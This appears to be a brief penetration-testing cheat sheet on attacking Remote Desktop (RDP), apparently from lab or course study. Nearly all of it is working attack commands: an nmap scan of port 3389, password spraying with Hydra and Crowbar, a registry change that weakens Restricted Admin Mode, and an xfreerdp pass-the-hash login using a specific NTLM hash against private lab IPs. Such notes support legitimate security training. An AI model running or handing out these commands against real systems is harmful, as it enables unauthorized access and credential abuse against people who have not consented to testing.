Attacking RDP

Enumeration

nmap -Pn -p3389 192.168.2.143

Password Spraying with Hydra

hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Password Spraying with Crowbar

crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

Pass the Hash (PtH)

One thing that must be done for this attack to work is to enable the Restricted Admin Mode by adding the registration key DisableRestrictedAdmin under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

This attack assumes you also have a hash. In this case we found a file with some info

xfreerdp /u:Administrator /cert:ignore /v:10.129.203.13 /dynamic-resolution /pth:0E14B9D6330BF16C30B1924111104824